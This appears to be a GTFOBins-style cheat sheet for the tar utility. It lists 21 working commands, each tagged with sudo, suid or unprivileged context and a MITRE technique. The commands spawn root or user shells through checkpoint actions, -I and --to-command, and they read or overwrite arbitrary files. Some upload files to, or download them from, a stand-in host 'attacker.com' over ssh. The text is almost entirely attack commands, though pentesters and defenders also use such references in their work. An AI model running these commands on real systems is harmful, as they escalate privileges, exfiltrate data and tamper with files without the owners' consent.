GTFO · Tool

tar

21 techniques Linux · macOSGTFOBins GPL-3.0

download

File DownloadPrivilege Escalation LinuxmacOS

The attacker box must have the `rmt` utility installed.

tar xvf user@attacker.com:/path/to/input-file.tar --rsh-command=/bin/ssh

Context: sudo
Native: download
MITRE: T1105
Refs: gtfobins.github.io/gtfobins/tar/

download

File DownloadPrivilege Escalation LinuxmacOS

The attacker box must have the `rmt` utility installed.

tar xvf user@attacker.com:/path/to/input-file.tar --rsh-command=/bin/ssh

Context: suid
Native: download
MITRE: T1105
Refs: gtfobins.github.io/gtfobins/tar/

download

File Download LinuxmacOS

The attacker box must have the `rmt` utility installed.

tar xvf user@attacker.com:/path/to/input-file.tar --rsh-command=/bin/ssh

Context: unprivileged
Native: download
MITRE: T1105
Refs: gtfobins.github.io/gtfobins/tar/

file-read

File ReadPrivilege Escalation LinuxmacOS

The file is read then passed to the specified command (e.g., `tar xO`) via standard input.

tar cf /dev/stdout /path/to/input-file -I 'tar xO'

Context: sudo
Native: file-read
MITRE: T1005
Refs: gtfobins.github.io/gtfobins/tar/

file-read

File ReadPrivilege Escalation LinuxmacOS

The file is read then passed to the specified command (e.g., `tar xO`) via standard input.

tar cf /dev/stdout /path/to/input-file -I 'tar xO'

Context: suid
Native: file-read
MITRE: T1005
Refs: gtfobins.github.io/gtfobins/tar/

file-read

File Read LinuxmacOS

The file is read then passed to the specified command (e.g., `tar xO`) via standard input.

tar cf /dev/stdout /path/to/input-file -I 'tar xO'

Context: unprivileged
Native: file-read
MITRE: T1005
Refs: gtfobins.github.io/gtfobins/tar/

file-write

File WritePrivilege Escalation LinuxmacOS

The archive can also be prepared offline then uploaded to the target.

echo DATA >/path/to/temp-file
tar cf /path/to/temp-file.tar /path/to/temp-file
tar Pxf /path/to/temp-file.tar --xform s@.*@/path/to/output-file@

Context: sudo
Native: file-write
MITRE: T1565
Refs: gtfobins.github.io/gtfobins/tar/

file-write

File WritePrivilege Escalation LinuxmacOS

The archive can also be prepared offline then uploaded to the target.

echo DATA >/path/to/temp-file
tar cf /path/to/temp-file.tar /path/to/temp-file
tar Pxf /path/to/temp-file.tar --xform s@.*@/path/to/output-file@

Context: suid
Native: file-write
MITRE: T1565
Refs: gtfobins.github.io/gtfobins/tar/

file-write

File Write LinuxmacOS

The archive can also be prepared offline then uploaded to the target.

echo DATA >/path/to/temp-file
tar cf /path/to/temp-file.tar /path/to/temp-file
tar Pxf /path/to/temp-file.tar --xform s@.*@/path/to/output-file@

Context: unprivileged
Native: file-write
MITRE: T1565
Refs: gtfobins.github.io/gtfobins/tar/

shell

ExecutionPrivilege Escalation LinuxmacOS

tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

Context: sudo
Native: shell
MITRE: T1059
Refs: gtfobins.github.io/gtfobins/tar/

shell

ExecutionPrivilege Escalation LinuxmacOS

tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

Context: suid
Native: shell
MITRE: T1059
Refs: gtfobins.github.io/gtfobins/tar/

shell

Execution LinuxmacOS

tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

Context: unprivileged
Native: shell
MITRE: T1059
Refs: gtfobins.github.io/gtfobins/tar/

shell

ExecutionPrivilege Escalation LinuxmacOS

tar xf /dev/null -I '/bin/sh -c "/bin/sh 0<&2 1>&2"'

Context: sudo
Native: shell
MITRE: T1059
Refs: gtfobins.github.io/gtfobins/tar/

shell

ExecutionPrivilege Escalation LinuxmacOS

tar xf /dev/null -I '/bin/sh -c "/bin/sh 0<&2 1>&2"'

Context: suid
Native: shell
MITRE: T1059
Refs: gtfobins.github.io/gtfobins/tar/

shell

Execution LinuxmacOS

tar xf /dev/null -I '/bin/sh -c "/bin/sh 0<&2 1>&2"'

Context: unprivileged
Native: shell
MITRE: T1059
Refs: gtfobins.github.io/gtfobins/tar/

shell

ExecutionPrivilege Escalation LinuxmacOS

The archive can also be prepared offline then uploaded to the target.

echo '/bin/sh 0<&1' >/path/to/temp-file
tar cf /path/to/temp-file.tar /path/to/temp-file
tar xf /path/to/temp-file.tar --to-command /bin/sh

Context: sudo
Native: shell
MITRE: T1059
Refs: gtfobins.github.io/gtfobins/tar/

shell

ExecutionPrivilege Escalation LinuxmacOS

The archive can also be prepared offline then uploaded to the target.

echo '/bin/sh 0<&1' >/path/to/temp-file
tar cf /path/to/temp-file.tar /path/to/temp-file
tar xf /path/to/temp-file.tar --to-command /bin/sh

Context: suid
Native: shell
MITRE: T1059
Refs: gtfobins.github.io/gtfobins/tar/

shell

Execution LinuxmacOS

The archive can also be prepared offline then uploaded to the target.

echo '/bin/sh 0<&1' >/path/to/temp-file
tar cf /path/to/temp-file.tar /path/to/temp-file
tar xf /path/to/temp-file.tar --to-command /bin/sh

Context: unprivileged
Native: shell
MITRE: T1059
Refs: gtfobins.github.io/gtfobins/tar/

upload

File UploadPrivilege Escalation LinuxmacOS

The attacker box must have the `rmt` utility installed.

tar cvf user@attacker.com:/path/to/output-file /path/to/input-file --rsh-command=/bin/ssh

Context: sudo
Native: upload
MITRE: T1041
Refs: gtfobins.github.io/gtfobins/tar/

upload

File UploadPrivilege Escalation LinuxmacOS

The attacker box must have the `rmt` utility installed.

tar cvf user@attacker.com:/path/to/output-file /path/to/input-file --rsh-command=/bin/ssh

Context: suid
Native: upload
MITRE: T1041
Refs: gtfobins.github.io/gtfobins/tar/

upload

File Upload LinuxmacOS

The attacker box must have the `rmt` utility installed.

tar cvf user@attacker.com:/path/to/output-file /path/to/input-file --rsh-command=/bin/ssh

Context: unprivileged
Native: upload
MITRE: T1041
Refs: gtfobins.github.io/gtfobins/tar/